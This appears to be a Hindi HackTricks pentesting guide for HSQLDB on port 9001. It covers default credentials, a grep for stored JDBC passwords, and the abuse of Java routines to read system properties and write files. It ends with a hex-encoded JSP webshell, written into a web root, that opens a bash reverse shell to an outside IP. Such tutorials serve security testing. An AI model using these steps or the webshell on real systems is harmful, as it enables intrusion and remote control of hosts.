9001 - Pentesting HSQLDB

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

मूल जानकारी

HSQLDB (HyperSQL DataBase) एक लीडिंग SQL संबंधित डेटाबेस सिस्टम है जो जावा में लिखा गया है। यह एक छोटा, तेज, मल्टीथ्रेडेड और लेन-डिस्क तालिका और इन-मेमोरी और डिस्क-आधारित तालिकाओं के साथ एक डेटाबेस इंजन प्रदान करता है और एम्बेडेड और सर्वर मोड का समर्थन करता है।

डिफ़ॉल्ट पोर्ट: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

जानकारी

डिफ़ॉल्ट सेटिंग्स

ध्यान दें कि डिफ़ॉल्ट रूप से यह सेवा संभावित रूप से मेमोरी में चल रही होगी या लोकलहोस्ट से बाउंड होगी। यदि आपने इसे खोज लिया है, तो आप शायद दूसरी सेवा का शोषण कर चुके हैं और विशेषाधिकारों को बढ़ाने की कोशिश कर रहे हैं।

डिफ़ॉल्ट क्रेडेंशियल्स आम तौर पर sa और एक खाली पासवर्ड होते हैं।

यदि आपने किसी अन्य सेवा का शोषण किया है, तो संभावित क्रेडेंशियल्स की खोज करने के लिए खोजें।

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

निम्नलिखित डेटाबेस नाम को ध्यान से नोट करें - आपको इससे कनेक्ट करने की आवश्यकता होगी।

सूचना एकत्र करना

HSQLDB डाउनलोड करके और hsqldb/lib/hsqldb.jar निकालकर DB इंस्टेंस से कनेक्ट करें। java -jar hsqldb.jar का उपयोग करके GUI ऐप चलाएं और खोजी गई/कमजोर प्रमाणपत्रों का उपयोग करके इंस्टेंस से कनेक्ट करें।

ध्यान दें कि कनेक्शन URL दूरस्थ सिस्टम के लिए इस प्रकार दिखेगा: jdbc:hsqldb:hsql://ip/DBNAME

ट्रिक्स

जावा भाषा रूटीन

हम HSQLDB का उपयोग करके जावा कक्षा के स्थायी विधियों को बुला सकते हैं। ध्यान दें कि बुलाई गई कक्षा को एप्लिकेशन के क्लासपैथ में होना चाहिए।

JRTs कार्य या प्रक्रियाएँ हो सकती हैं। यदि जावा विधि एक या एक से अधिक SQL-संगत मौलिक चरों को वापस करती है, तो कार्यों को SQL विधियों के माध्यम से बुलाया जा सकता है। इन्हें VALUES विधान का उपयोग करके बुलाया जाता है।

यदि हमें बुलाना चाहिए जावा विधि वॉयड वापस करती है, तो हमें CALL विधान का उपयोग करके बुलाना होगा।

जावा सिस्टम गुणों को पढ़ना

कार्य बनाएं:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

कार्य निष्पादित करें:

VALUES(getsystemproperty('user.name'))

आप यहाँ सिस्टम गुणों की सूची पा सकते हैं.

फ़ाइल में सामग्री लिखें

आप JDK में स्थित com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename जावा गैजेट का उपयोग कर सकते हैं (जो एप्लिकेशन के क्लास पथ में स्वचालित रूप से लोड होता है) ताकि आप एक कस्टम प्रक्रिया के माध्यम से डिस्क पर हेक्स-एन्कोडेड आइटम लिख सकें। 1024 बाइट का अधिकतम आकार ध्यान रखें

प्रक्रिया बनाएं:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

कार्य प्रारंभ करें:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated